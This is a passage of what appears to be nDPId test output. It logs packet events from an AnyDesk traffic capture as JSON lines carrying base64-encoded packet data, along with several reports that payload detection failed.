/agyuilBLN3kiM6kC3NqU8wAczROFw0rHORjGzOw8VxqGDQ8YbwMqyUM9zUVcdASW99VbVVb1L9YsXwRMCGTLxq6PrShFbRzHZatIVYWJp4PH5vw32mMYmb1jkIu4\/HpvLJZQt8MzKrrk\/E9k7dHDVjj8loN+rh7WlBhPcK3+P2j63zGriAk3qtf1DgN5uqhZ6RkduXQKYfguFdGxkTK\/Zg+1InPHFKRfSBbXTwuMvkuXcH6T8KclzhHRpKzTIX+lMNwCjvrNovLq1Podu2fHGKRe0zqNsWW9wZDscFBqWALF5LkYi3FMjaNbBO\/yVpjGRgNaY2OCqELA6w0rYQdlOOo91Ptz48DP05LNzsjZ\/Gf7LUcOhlD+\/g8h1vix4gaARtS8LetzY3GAptLDTCcBnDdRy11tLPiZEAMXDrullG0r+5BZczLz5XHv0YqHZ5DMiKybNXAsIHS4vLjL1ZEjhhvTCULga5pYZC5IaQzwMK4yTs943LQQ\/\/TnoWwNbFebOICyRMjW8QezgzBPZNZNIq33836a9LYGHsjsrKKQnMz6ruq95DNuDvPYZGuXgYHV11AVtj0FkX\/UudneJglHLvw9J7DWrllHn6RUaNLr+EBMpny1TOzMsASK+jbv94kYNXDXAcDHn6lWiF4QDzXz\/+wGSXIP7fuIzmMMl1Y4xc4jQLCJwgd8H4G5XKBODwvD264CqiP2HbibUZNZ+ZeyVtCMuw3KW5y733Sx7iXTzTia2mXEQ9my6BxynmAvqRF4tFeHPzuEAa\/Hhczngy2AgBOiWXV9OJpMOxkWZIkmNMOfTlbaj\/J\/klVHlkMScQKKG8mloBAw+She1FtXKCf2ID6h411F2UZ11hwVsAg4UswA2ETKHPxt+KpWMJ2AkYf9t5gb6ta\/8MpiJHTIQPdGZomBx2RdcI53\/\/cpyLbfhMNOMCmlYLDJG4Lkug8gjm19AUd8jb9dsJEARYwdevPdsa96D2GjlKQQaydVtrXoREnm7np+s0eOeiXqCLZQFMHmCng2jjarM+hLjqD3QmZsjxQWsohBIX7uaIMHBCLGmlppRZ6MVyGAGRLh8ko9DgPxm6cWT0G3GC6lBwkuPTKFeU3lfLMJo\/uIhOSd7gNU5meadkfRKNa9Hy1+q1EgQT3ZvnS7pmu2\/HgVLfQRC7SDDgbRqLoQqoC1Sn9PwIJUM3Kn\/X3iMubMvQipriNB80feq7F44CjsKs+UEs0SY2L+ZXQFHq\/oso3UIP7pSYTmm36jZvGB\/5nV6O1QUhebc93d\/Sq4RBOuqNKciIykt+I8tIzTYUv4sYYRbUxG0IvEZB3XVAYXJN0iWPPbdibHu3h8TMt9IKwNU\/ycCuxwDB92HhbuxTVVdCi7zD8mRrtPBkTo4BQ5pAzfZ6z9YoOtSE5rIZnM0pKant5KodZ22FNiK5I7aBQYBlwwH1ir+ZTwbjL9iUs54uAQP9ohg9foCfsh+Va7PkYbwdHlx1LlGR8\/Z3ZUVrr6ko6OqXwPsdIGwCOYzNesbzKSpMtBq5FzUP+8gegTvKSwqUGGXTfYzS+DFzTSUfR4FfBIlvqZDPPxpp++UYg49312xg\/YW1W9uGK03xd4axuvqaiUM+GEZVfwHp1LulAVZ\/aEgF6Iwi5OwW91NMRUtefzEr2u7DNQseaicpkcNJCH\/39CvVGF0tkAWRZX+DTmpMoY6bPouqrM2oH\/SFEz4zH2k3QqkNzbomehNvpEvQ4x6vHSJJNi4zwg2VwOcIA9nN9842m7sMcPyAO0fTJu4MgHCfG93EMyHYfoi9HvpwwESex3E3Mgdg4Em9BJkk7VyIW7FlxlDzRLxX7jwaIqKNbRRxHnYA1hI0b9SBcV\/nZ48i8ovQDRlI7a0fsmJwOOFBu8bf250pA9zRseLfPNtSPJdfGS5Zq65bGRFdOqre7YrQ\/5fhMdKaAPVsdY4oIimfv\/KJLLOdx\/pdkoVEEQr4gyg+ySBbZ+NsIgwL9ZnasjjgO1t663JgLM0PeMVIzY9\/hj8XBzcHKhPu\/+pFENHDZ1EYBD5A6\/T70QP05NSgLUpvneBZeMPf9EvAF5g1Fi5PV119Ucg3+QJxd\/gKzJkUTnpbF52KVVyRYn6GWftZfk3lVCwMNbIP4vd7er5jHaVzP2dq5vNUXuXcAysmxHZQfdIuzBRaxBP1T67AhDLrtnORVCthv0kKaexmQMjcTqVmlPhm2z3C\/RUWB5zWSHbtCdDlmQ\/VATGgXKGSDlZnNYjHHof0AS365YkP3sfJQznCFcSiKaNhQWwXoUY3txX0fOY5HbScQ6efoPPDHJrAz2fbfAG47aqccWXVC3CwSEGmcPdtLmboLQL62qTTNFmkJLMEzT06B0uMK7kyAMVgtAiAXJzMik1wv5TLQQMosLR2O9xxmWy3HcznoM8CMYSY8+4WarFrvSMhaO0sW0Y7eGo1dwios7ahV7hudjDGEtaWaTNYgMP3MIXSieoXjxJuLb9Ql+nwoDiNY8\/ygJoXPpozESy\/Vm7n0msv2vk7RVME4s19NB09qm2\/3yT9IvNB6TByoTSNzQvZXkPwzmgmjz+3pg3DTQRFuMLP0jmUhb4XKevHxF1WShCWEXGzYe7lmwP8X0Z9Cn2msxWjgPPvWCQjK118jYNr\/\/BqT0qqlMvjuBYxNP8c+XGyuGAyGHeBnGZ9U7NFEWheEgaZzS6G9pmwcDwNFSvyMBeVW4R2hVdL5I0Ulho+iCS3JGtEm5VRwGQ9g3EsFISaxiYnuu5KvGlzbSDeguCQo3asVJo7nPN\/l1qaiUnYiBlWMCrxd\/37Tz5nMBvr5Le5Fbsiz4j0xQJXdIoqeRu2SYZCvB\/rJF2VFwGe51kCWNUEjk9dAJOxhgmj8ReYF94iSEBcVPbbDxrE4pdnxwNCQIZsInbLhEcYKanOsJ4fCiKxFcLNxKQkF4nk6njUCho+0PDSkutwVg6iPRM7kU+z\/arIzIhN7uQvOyEx0t3l2pKi+f8oQjk9r6DMN+u5Gx0Ebeb1YFbE417Avscixj+95AaJpJvtEsD8LQ8qwUvQ+RiDaXqjOX0pUKM92TbX9sUCLUjqVRHzN5a+bh7D09w5UDYpAE9tc8sayhYjY8R\/1qlysV3dfhH2MQZZKvwM3VimH2ZXraejAkdy\/o\/CtcjaLXMUc5aIwR2w4Urb3qiEy9\/nmm86Mr8f6hStTsSQ790BIv6rp+iWbNkCeyUqp+e2n5vbBXlsx8ejgIanVOuToxiYTrBEwK3bEGQn6MUMKlu\/qGDzAb7cU5VaeepevpQE2ocShO5NSOCAM\/pltQYxE0mghVf6Mb01xbo26wFrfamdVI+cqHHJukbpfJMHk5eQd8Z23ln95asJZy48qp7vkRD7mlIDuVaTrBnfLorAOonks6mrC80+jPUPxBoKUrHe\/szDmGXYZFN+FDK6AWQG4D8roegKcEIvONmvem\/pMGhVs3pOrcTf2WGAEYxHD2OVES3Dyts8f+326k9HSHJkyuXek5YXm1EB2tUS5\/Iorx56HPo\/ezf4+I7KBWKZbX5uGElPoZZDIIH6AgUGlWgGt9L+ondFzQr0YWHdHyDNEM7DxXDeQjr0Y6q4oT4FccCyw8bDJ7aXRlWEeTRO2T56hnj2BlCIX9fPFkWQKeHcSjirzGeazkUcQ5wADu+fNyiw5byx78lNf0yLcGBmP139dxxo77fWu0q7zbhuLCDPWkJASJMbC8kOM7gV60smgd\/P6tXiUu5dSeNQLCMLibZ2+0d1RV7HxKb\/+DssBTWQn6QEk3MnOIe1KmjVYiRvmx9jFvHnt8LvEQkzZRCAdr8n06wbBEP0TTq6+sqitwEj9LF2dOqCqVmPQ45ACjXfoTmtcH5nFDWI7C6ZcKcXOIs1W0cpDGsoGfAm3aP3PYhVvk2d31QmaWzKKAoLZiuZt60Bgn6YFU9PGtUFCxA3wdPHzpTmd1cCAaZ6Se+p6PI9vwQmZV4NgyfDaj4PUPgRES6FYnXxyAWktkL70HakU8FDgkn32LHrctW3oME7DqKpkXNWwY+j9iZCH8XlOCqsdgYxasAX077HrUOm0+vQZsZA8Ys7cQeWs3jLSVrAAc10oPTztdG2vOSaYA1kf97Xs5M7b+2WZQ7P6ApkG83m1TaVi3U88PmG\/93o9h1SHFsiSCAJaoPHGyKbwOxf+ZB1tXjfgJczTukyDPqC56hnHGJrtz4YIWsUA2P+BFNs3ZoghPsiDSp2QzsBbNt36X5TyoPAyPzxry0rJFScbi1xhJsu+gSm+AtaFy37nzOHBk4Et\/t7d3woonwLh85k\/uxKLrso4Wb4ZIJsNYQcfLMLW2B3OaQSU5z5R9j9\/6BH+1xnusGc2AzSOi0G19qLZsLc+XOFQvBzTPa84OqMEIxtGQExl6F+uK1ePpbsAH2jER5MNwqWSyagVucAGhREEomUr+pS7SlZo\/FNl+IXU+VPzJoCGaoT6wjkpHhbbmcMl6WYng5SxzROETZA7+3ps\/hMi8nRqgcuI8hUkFFWZg3JMDar0zmOg3pYzpRj5bpSjKLvhnxrZx1GN6S3uYiHtfaUui8taUYry6TqVo8Lp9CeLwST+S2n2jsyL\/MgwafFf8hxYFVIrVbPxMe4yGUfoZFDLJGfWh9\/Uale8IF3jFrSafaCzkC24XPfpxv2ityTJmlBPJ47MLCUJDv1B5g73+xjGqgn4JPv8EWZdYGzDfI7E8ISSCtBglaxj3+0zONxHEhCcpZ1ygjXuxr2JNSpo5WT+7IwKkTsjMY8xGE+rwKEPntGmzi7PH7qUVRMlbkoRddtJvcUbppU7Ou8Jn3vpoYAunGXmbQx5wr62kyIYIMjbe8V5y67\/KNo1jxQB8SdLvPAmpuM6eaO7XneZe8yrVbvgZ9uy2RLyzU6jMBOYFivTb2088y9Wsk1wM6qhKqpUMnE6URrntdCr9h6yvhoCYSMwwO\/hm3MULbqsk0CbprO14ZthvHty\/ofJLHJ1YONVVHFMaMQjH5AQoXfBlk\/D3yuBGRuqHh6+Rpj8tvEf4R5H4bCKhBBrX\/A9belrcEQW3a18VZ0trYZWrKjqBe3LIEPm6yCWizzhW2QRr6aUkwLtju2ewlUBRQ1qNMkdmBKCMRc35+ch+X2gn86O60M0ESFhZfLvb8y1ZyFGGTDQTbrAUYuAg\/YSGAJ6cwpEAMacl8lDC5C1dvmuVc9y2WHEUVYeLAHI4WwVE9kbE6AJfusxZSrpycneptKLJ7lMlYpnkW1AKJGkMiBB9UMBQFzbeu5gIWC5ja7f46D\/ilYlYCRL83zb9B8KBtNdaDYS4\/oSfBGVoDv4P7Sdk0Y16Lc41AlUwS8d3jV43Yz51nxYgAvfyeHSOd+YX9lGhod1TGYSNpVIYXqPuFtabb27xRULRScfKKB6MBDbXmtEqt+9C4Gd5Aky3ih3cUyfhVUD3shsfOOBb+eUjdQVjHKE13UVQ65yEWGMJFkFva30MkYT703TOruSEr04FuykEcXJNBCvdw0kD6Odef7TyHGy7FD4KUXrSid1hpOyvnu+Af4g1d6yQwSdZdnr8fa+O6h38RPxq1YMi3gwTx+VlWE0xhsRJdNQ8yODDdCl34f76JHnyn0+AjGfkUNTCDklXIep2XMKaBTuruPDVKmhl0lnTMLtBkt9FfwRraHzuKjk57IO1oaornMdQzNs0oMk55efCaBZTKHiqRJ9MZzN6LAEwqrOWKYk487tVONi3Hgc9Wn4BECgE178XAuvISFZ\/euqSNdPLDotZv7aHJLMbYmXfMvLvLV1z1E2hJzJlGA0DoUUgUFp2e5+yNpGqwjmN9Wa2geQqo2bT0BHqc\/32LhxlSa2vZkz\/KsN8BZYp95nqxBkMMcx7sANoxopO8j+4u3Qc+C4mPUQmZ880pftmLqQUG8vwaETjH7FaF70BuU+ta8tUgAeLMUyx8aN4m64vxcPOgQr0Eof8M5yK9gGjhWo9pJhbh0rKDHmRea07PsgXO4LuiGO3vuhXJVwMn6W4UZrx4V4e8D6Lgw9N0a9gJDPjLPFLwoji3n1g2AnIANsj6CwJfmpFSO0qD79Bn3luUx8fUt6j+Vs\/hSkPMd+ITsxq+Lr8nOuQgTvhnt1brBkUpdUF\/8yY49T9FHm5aTjv3JoN21Bq\/I+BbIlck5ZqLPaLTT\/ztUnCB0u+7X9i9V+YYvra8OR16xpamMHV7KmrDkCo2aoh0Dlq\/VylpF83vb9sv3PwC+6d3s\/fF+Goi89FmrTVxoPbaqwQL251YKusPdibulEn6NaAAkjTfWA5MBfpJFNSvw4VUxvnV9asXG31+AxH0w0pnM7jmfCUd+QGych+Y6V7bJS4kitQFqjewp\/F10TgXB\/hpk4FUl7OX+0GGRYQNrtURS0945GveIpwWmlAZD6XsvxZ6oRoo8Co\/7T1JlVWbKjCxKhGHIV2SWJ4HhSDpKkMEJ5RNoN37TRdueoDz\/1eMSg4vmpjDejNp1x9HN\/JXLxzJIrNRaT4GEBLTAckKbOOMAqEfCliUoKC3Q\/Daf743TJIFur2VR0CZkmOANrZxYAHtYoXbmt1Pg3AcrPE0vb\/JoIL\/BA+D0JsafM1ShvxjnG5kywLcf3F4WlxDD+fwwmplwRqdQa5LCAj+nXRADemVCmk1BfYFkjdjkKwNyYNiq+hi9OXw674ZOuvf3zrW9o4aUnJMUsbODSOSVj7qs8oULqRpvsawWq2L2oQ3hbn3\/Bdx2GrFsfZHexnLr78rwvTvBqnWDb7ZU\/8\/jnh0Z0JcSSOQ8N95v2NA0DazgL8pstWAQqqfcWDLSl1trdYLPE2FFxFN7+FVs3ZOBNDFPQO\/73kIaeZa387r6m8PfoHftsFsEOIqsb9kpVD\/3oJ+xZ26RCGfYzyEsYWpVtmkBe2W772sYAPVKyOau6God8I2IE1Tt+fWMdtZBKiTu0R0zi5br8SXGZcaQJXGizt0h0BnpFsJDlYiyk+W1BcgEUzLfZiww454cLhDCqOiu+mpSSfNoeFv1Wjxr\/j8f6CMwegkt1ZNMNzo0JDLAuthmD6Leh\/sHSooanFuDyOfQFTW\/PYU4fkDKW7\/tHr60Qa6zrwOg+hVYlPMo4KQrbgqNnfwlTaTqHRchlU6svDQDU7tXnoJBqVcYoqIA\/oGQwGKsd5whFAUGNZJ+AJeTR536Nghjw1FyvxivGdG5rk+JeQUUpnTM2"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1982,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +06637{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1983,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":741354,"pkt_caplen":4669,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4669,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgzZAAIAGAADAqAG7wKgBstOUG56PLhf0WcRHEVAYIBOExAAAFwMDEgJZ4hNO+msWyKJPgbqAPqwn0l5Oun0VGQgltYRMe7KiqtL0ZbUbC2Kjs9CMQKQ+9AnCyFv3whSyNsQT+g0ASt2o0dX1\/MMbfdo0WiBx+cNAgOLGA8QQra8p0Og1pJgGW\/PkMmy8npsXydUPShYxbt+83M1HycgUVZkPCwaKentD869dYN8ZNkYoYM9Xi18m50ykhFff7065q\/xqHIBTNOevcmHveQzaoh2x2XjlqwhdB3eduTRQS3S6h54Z1MtpmC1V7sQCA5po0eaqD14ieKX3Lit9\/Fsw609suAl2g6IcCAk+MMbT6W2eptYjIsiS0E947kOyMcbL6dgZ51oskF1tSd4+bbIptV1aiwUmDZ0gDv3uQfMslheMok6qklYyvIuiYmkAZdJVC7ZLS55B3fL1G+jZosLpewv1zWfzLU\/ZapUGhVMRvdolMmDUZuzHzikUgOucSTKP\/BNTAiJHuL57EDOBaFe79BBbslkzm6daEz08iy9Ti7LbCun2qDDVfIaGfH5p9YXPboC\/Sz8lvojH9dJ7LRKt1M1RFxy4C6oiqxnpVCOf7hl6J85g+zM0Be8gLnNyVZxrlAllZWSgT3ILNVKftW4ih4W56l1P4jKy39ZVj2a+VJwRGIcE+qc2QdikjR6cq2K31u\/xPFxDr+7TGxT1oRPE5nliiIcYye5sdv2C8T1Z6Bw1kFOidWGm76BtKOQfmfO2envFWyslbL+dkkUpIsCvEIcTKmRs1DrRa+hRxSZUNwOpZidbXBr+rWblEIfv4AmDfJNDHvlnc0s8H8SojXD8p0Pfe2fbo3JkV5IEuJns2HmjNTldFs5Rgje+muzxhBcoGVARbFhgzKl6JIgreny3jDE8i+r6Y8QOdeID6+G62sjkF+wpI277H9f7qXRVlvyd1tw7AVWjbxACmH0KKqsh87wEx6yxmpafvqR9KvegpfA4iCXEz0JB0f3uK5iTrp1\/zpnz0pBvsKP45ExritR+dahespRNG2BLFDzdunDaf+3ZGXl\/nOcTszAenwE8xzGtQ0REvO+3wQdD\/UyoOmhU7QC01u+T2XosroFeYhfRG\/pOVodJz+z91Qsz\/ou37vZL8NSUhRvlLktG6T+yKnkMoXIOoU6lq69rQYAeRCot1XZHp39vQMpRN9Y8kAd\/b01U11H9km8wv5pUv\/n0Zsr\/LLxGqyt1HZbeNAhYNlSJ4qaZPJHUL17IfOwLW2DshWajCjiQ3eVtSkRNHK54VbwBnyouWxDAuwaKRTsqvXDFBCbWiQedpBMjKcRLzyvBoQs+xNIXuhq2iMr\/u2vOA0STKsercKTiefQ+1gtF2amUoy89T3JTztFTV9zPiUDENyeGAfd379TIISujZr906\/85tDnnxw2tYlFoKqbm9HmMdjKrqyCkHZmK4gN8HpZTAnzq64\/3gRs7mo9YFO14VOXafERzUun4F73rJll\/AZV1Lw5gBMQu\/mglEnCueZwYujPlR7O53j38yWxz4+hRe47uSrBA2x3JJXMRpoHHC8cZ3my4h+Ok33STNAc5PTVsaJ4grdBCj3IiuGDk+URFcV7sdS9vBkTKTo51AIbOatev3HEjyJySEo4\/dLwrMB6ZRphERcFqyFm243QQSBF18Ru\/NpnTfPQiYX3vwK5vk2iqZNY5o25hQs3yM9m0H8RVXhMIOKv0ZomZu3VQmYCuSlGDZ1ceCch\/\/yiO9\/O1FeOsbMV8r+L7c0LfVx\/QxSyvCCc5VVVcYtaFqyFRgJadEPAsl0OVVTaxaOfHGX9v3LtG+AkKwlmrZNyw+CrM9NKmfAIRnP3ayURnlIANEWUXLJldTVyVEiG0YOs974fCmZPFjXAWnn2k28XOOONhfSoeUkcmsnd8FKFb4Uye0stdb3T1KgL1lLsnFrk5BPSWRSlsV18VrSGdB1n4ZA2ETAxYCzU4BaWgUaHDhzYCGgmmckTcr55JBHBKo4VYU1S74F7XIeDG\/7fgLVlBRWik8IAof7srVO+2Vs\/DTy7jWy8NokeyXzX+3WnZqcOJxAPGsFaTLI3uFMYAmmqz5DeX485dOVJJ9KL0wBiQzc2NES0gGTRta6x68slschpfH2SC2wBzAccv9og4C0gnl7irgbRshLEgK2BuiP79C9g8nDAsVTNJnUpQEGPEmEBZzJiT1OF5GSZDeAs6cX33IzSKCrPwPp+y2aj4BK4FRVnDWgWSpyuEWTZyoKVOcDgO\/LLI+ywGQRAcwCziskNu83o1S0RZx\/cRDbZsWlOdPyjzlyNmXDsS\/na+wLxC8PkymZpS5Yf2h8R8S2ZBYYBs5B3E9vLjQm5TX6+O0NUuU8fUxPfvyGKwLptP9NY3WIkDVXRebPhSOBW7hgFy4odmyAmc3QSECPmJ61f012\/UwUmRIZP3nOkl9iAu3MbS\/jTyhmpEAbQRLbG9b2qZD\/GWu4tjeM\/oF9YmCMFBOW8885u82KkLCAAYPD8vIWgT5zEiHQmJyB+rOA3nZCaCwOEbZ1fyD17rZFg6nWovKpt4Yj5NquA6UoNHxQUgpEjDQ1fONDXRhj\/fRjg8cuk505C\/mERZm1C9Z9AC6GomPby+p0Pz3lVoi8gx8xL3Jhpme6b2cS0DdkGyoJgbOdh2oTDo6zHOwKo\/t7eRVzD92ZcH58xAMvCWu0lv7chbaU8hKiehAfj5xhkYxuT0WEPGBuqSawItYTBvm7cwkKYtEQcpPO2lZF20LXSMTjMkYIENyrExvRaOFBdNKu3wl5woLEPW76iwSLPFK8xf3ZxjRSn\/mPyaWaUDIOscx5vw8mmdjGbsvLXgKmo3gxdGj2vRH5En8\/1yOQDxKo3WAG4Mq\/QdjUQexZBJjecWlMS+SGd1b6ZJYxydEhJmpu02RMQ+WM+bkSIZ8GVo0v3HWTL7kn4OHU\/foku9SwASyzPQIfgK5r\/7qIBfk+pGQL4ge+yNVH2alR\/FtDckY1lYnKLyCtU2a8BhKv41727TKO15sdrUx9SjNQQAhdJrkZprnD+Slnmyy1d5Wzk2dfMIgiGkTM1HEJ2+xXQ80ealAMFLr\/yT7+mEwRWocHgMgNgRZGUMPfQl7Q\/Onrs5whDYGB+fS6qIONhCki1gzQfyvDPe52uNZxvpuvCyKddiMBqG6ctjtUAxfGAgxBwa1U7ue68bZHHD+Few8Ga59E1Zc1Uo9dyU1mHLp7teGBA08EB4b99uc2WfQVHyz3yG5r8Y0z1Pex5+JrDiuk\/x4VT+Ec8CViA39WhWvSGxjERwMssPi\/bzsjucs0dKEEc5I1TyrQlcGc+oTigZ4p\/GCuWIPXPxlBwyZ1sVVuLOsrKTqGCcmD19tGX16rDLtJxKZoDW7LrCNuuotlXXWRWDggQ7T\/HsVtAZ\/iGc3J7ZTW5U2z\/5v2g9GhoV76XGuw4zaTGSuC6JVbP7GBJmCvc2c0FfboOc12TSTvJa7Lp6Mx7lkxez8R7zVNjlm89ey3EK8uAbQ\/pHEBpxFB0oanJD42Uop6+NB2UkjPQXQN2\/nDgyiDom3Zi4rPOhf\/mtEYUM21dSClcUMrlJaNimY3k9EEsnjNAOneyP+o4sJYBcFlWt4RL3AP4agsZAECAFbwbNXDG4KOJ1u0rbdoqEKr86vqpdwWmfMgw2P6WmdJWlmpOqTeJZ4KC4jNoRw1eOO7F\/P+fjcaSFu+4PKb8orCcApgRp6livOuXNMejL4z0Ez0DV2jjHoa7n50\/F4Hc212rVy1U2XT5xNtWFuAVOmlD8jh2GOZnNetO5\/dXtoaWv91aFtBC0Y6jREKNsOrK0KXwMPC83ISwC58rV3\/O+ipImokbftNdyWHSkuQdzdfGI5auy2T8\/W2ttVBlPGeq\/WoVVZxVuNaNBCdhA8bCe9Pz5schvIzwhl+zVjCH2bYlhobH77Avb1UkBd50tm6VqqeXIjy4oYcL0wubyumn0\/lM+tEOmXJxwEVeYLAsKbx1hmihoKYKB+axFdTAYIiChxSRfnu42AguSnx7tDa5XoFFu\/LEYrXMWizC+3dqEMg\/lBKLmlRFg\/phnWnwvLteF0acs37T1pSRSHz\/\/pbybz3BZnxWv392ZOrj7HCksEnQOGXdgjq\/Rds1DjsAWbgEsnIBpRhSVAjcnZyPO7AQ7IMyDso5ZzD7bULHmr9HceMZLsU6hkhqKZO1JTBkqAvFRpPwrSHSEx8b2Tt27t4oV3pcRt\/0Qu86cYg6m5BKwQSHburhpwWh3etDhbZuI2HNrLKGrotdpy6ZXrFG7X0pP5r0hvXAog2adDZ8YFR\/\/l7No3l1FSmmonYX1sKpN7QHeAbBceRA+vIR2z4kFm3F0sXuMpVbRXBzDZYzeZp+cdf5+onNNkbUSjhVDPuqErbMGCT6vo8tHkaeBC2PbIUtFtGtr\/UspzRn440QzLqGXuGb5SgYNm1PNwLU0O0xCp7Lz0lfUO9xTimV7T9dSBdzxUeuuZ2unx9mtn6pVVnYSHh2kIrQIqWSN7c2U1fJrIDafJsZMdKNYbLuVnV6DV570BzSlJVrOVuRnHqUA5y22m7tqkvkAqZtnhjfismFbVnZiH3gyWIMFjTIX6RD0wl\/l1tc7E40aqbh1pb38BbNl7tbqvbOAWMLS74I6IySufqOtqL7vMGJtS7uOpt4NbuoyR2nUsWc+bIXgRB8HEbvroQnbNOhJRm5XjEMC1mikUXF\/UlajR0fVfOkfh9vShwX78jIeg6CR15pEK1WDh3uWLHgClelSS09IN9koTaL+IdAOTGv8zLUpLhfVkwdqKCRWWsLE3Q6ig7RkgEZNp2L70cSXo\/rxDwvTEb74PsSSIu9QFR7FR2pYGGLbkKPg08IWCgYt7gDoQTJ1T6hrgUptgoYJ6P9s\/FLTObUu6hM1K1XvMiqtfXbpYI51P3A54OiaZrCGpNhy8GVzU42dN8939GS1QfyjoOiydsLa2P3s+ZoYJ98v4qFznUScITfThSFPL\/F89qKIOcjP0TCFDB+DNQGSIjmh11Xpn\/N03NS5MDWeXAlg\/+OrU0GLs8ayJBdU7nSl802ZKv\/KFbJgiAL0E5pIO5nr9VD4A+uTGJOgT2DIZqWD11iwZB7Ky2Omp1PzCao3FEDDlu7la+QiHct7+96+\/raLM3bfxcpX6zVJiwl6Mlu8S6puE1NBUa6I9Y2A2ntcRitpUgrp9Z5dh7vCumy\/a3DVOX+c4S30KC0ei1j2HhSbdeYa20diPi\/fTW\/IzrwzEbbBMJUSdS0\/XJvawroLtolznN1O1yqQUUHRBjA3\/oknJHo1yeGy7SZLn0UtHz3h6kZQx2HJKhShLoGqPAyRfgHEa5h5G2E31MwTr\/oCpw09fqzjOhi\/eYpkbqgQk5Ep0O4INSHGKNURmtYmQk6qXX76fOvt8XHRTHZDBkK7eu0IfqTO1meIRFjt\/8QxyZS3cMufdRXAvghHn\/hov9jI2ZfVAERW20TSIzvGlC50WO9bAdxhIVkOhK5G9Wlktahsv8ln9iNyZrQXJqpavYFCHu1uAwWopXfajGsB\/z7fNHDkZH7W8lxF3EWCgFcjsD3PZ3q5cbYVCuYjSYi6VIVL4kg3B7NdaACMJtMf\/PoBGPb26Xf60a3Xs+vtar0HOYfyMZvHbcl1303\/CCXJT9L482ZegSXVSVR5jOgkO1F4sYhFFu2BUNPktfGUs68jnXxbvSy\/VUghh63d9JdfvtC9mIBRCsmEypWSqiX08XdXw4gxuROyPAPwhaNobITUY2Fk0GwYuPYfoZ\/3gLeo\/26T3It+eqTcUsh2H20wRljK2Ug1g2aCC14NsFhBN5SAeRyWXpen\/p47mJzORVWn8mJHgNK3h9KXjCamuWzx5TjiJ9x5aDe1sDVfma9ahthYORYyQJ951dGKFxQmLbf6KafUSW6fHvrVDH4dZBIMLZiQWuyslyIYt3fgebiIXHaZ\/UzLs0aOwJ4nQIy0KPwyDFN1nIA4U\/wUeyZy5+plCHrT7rUjI4oecbnY5POmBmXwUuyZWkZ6I+Xm\/6zEyixn+\/6Y\/VqU3C7ltGCKq9BHw9E5W0sGyH\/SJv1f1dCKiOS47YFSP86kU3vfMJbEb0Maa8ULpZBrr2R9ZI4fPdBFsah4HfevhXrF+pyQu81VLVoASNnblFZSaFOerrItx7xzsEbmxzrD6NNX40BEYCvXjcgoHg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1983,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4635} +07847{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1984,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":741408,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgzpAAIAGAADAqAG7wKgBstOUG56PLin7WcRHEVAYIBOExAAAFwMDFXlZ4hNO+msWyTILIURnRtS82Bzg9cLxKn1ZUuqa4RLaXpL50b+tUi62vxTi0Y2F94uu5iL8BYevmFBcMP\/K74oysLKfs7xO+OHN\/jigAvUNK7ufxPg3pF5s0QZeiZkzTQHQvCl8llSWVDCHRx0TJ6sr4mqPWG2S7\/vmvvTZ80zzlwALPkptuUFU8h\/Xa5IgkqIo\/VQW0Dq5wC77\/eqvbVA3BDHg5RKo9oHMSFVQt\/WeC+4txnSaIULi1utes1LJgZZhVXZbknN\/8YphXl0z7nC6e\/beqFDflDtEWD8Xz8oiBUTORg7j+kGBnPqJ3JgyZj9ZJPeBWd4pucPLsveA2KzcHJsZG9MEw4mxcP9VJDC+gRcfuuoIidlmKUCHk\/dPfinUTkW55ONrdoC6o4y\/XDDOK2V480B8PRnhAbvV3VFk5t9tkROi13bEZCgHe+ZByfuddNcFKTIeAIDg0ts\/hVUbAi0lQqnMf1yVVj6UEJtL8f\/FTtf52tl6z5paSVhhDMOb414YAgzrHTKEaLe2JZu5u6lW+gF0FuLWiACqOrycZjK1Zvq+FKxAuJA1REt4IS\/dhLXDe3ChHU1+ZKCLK076aO4OYJhgj6T3zf\/tkGF1l2opPua7gQ9mh2TUQvCqcm0dQtE3K4s87lo4TT+hTdyDCBETcz6u+iOb7asnTQQYn2IEYf4ScE4h1Y5QWpsIcHLq2ndBONql3aSvqIti9UD+2k6Gsc7LzCN4CArJXSfzhZG7UocNXI18ZqolwUUZLHYNexvaV6NYVuFqkKdVn2DgQmwXgUMrRjvDfh9qkO9\/xDFRHsR6bHvthVCx0Tky5e2JCLvwTuch331fSHRm99533zxwlvfNYscjKtPHqfglMxJTNmvcUOOfv8RnXeIEZaj8qspjJ0hHEoMEIIazg5ccKLqXOjUSIzzuOLlWDkT5nRF4Vep65GGmRrzqIVx8mSsc38hIVOmlkPsxf2vajFIa644JGL3C+SzgioGiOzSetgIdjeQXHXnt4BAbcnGhj+jFVGQ7Mq6oFbvBF2uh6+ApMiaPUHqKDEGUNQToc+FZ6KRAaAC23dQ\/+4W5g4FLIhb7c0Elzqkek4sjcdFFZ6wfRGmXUcw4VvxUJP7Q8pH\/Aucsp2ubYYlkD2v8k3Ag+32YrDtmLDL7n2qque8b+\/JbyL3qi6AVKfKKD7RK9fLbaGrfgvlmY3wT53bGV5ctE+nVxkd3t3kzv\/v3uV6ncThALuq22yzQPOLdJAmHEQn2XAylXWzGhh1a0is\/4zpgKpOd8d\/yR+DvNwR\/QlMfEQ8vPWTzgQSfOZlLJacI0JOjbBcrdN2hLAiuzlqleH34De8p8iNVN4uNsOSg66WQfZT11anZWKneb2R6pn8OL\/raR\/oF8Mlvjo3q79ZittGdSQ94lJ7Vfzsy2Esl8oTwre\/\/fmCAh4aw6ZLLoIgyuRWwwH+pOwnoarXdW7BShEtVmal65g\/3DNf7Zv4Db2mzadF1KE8GGNO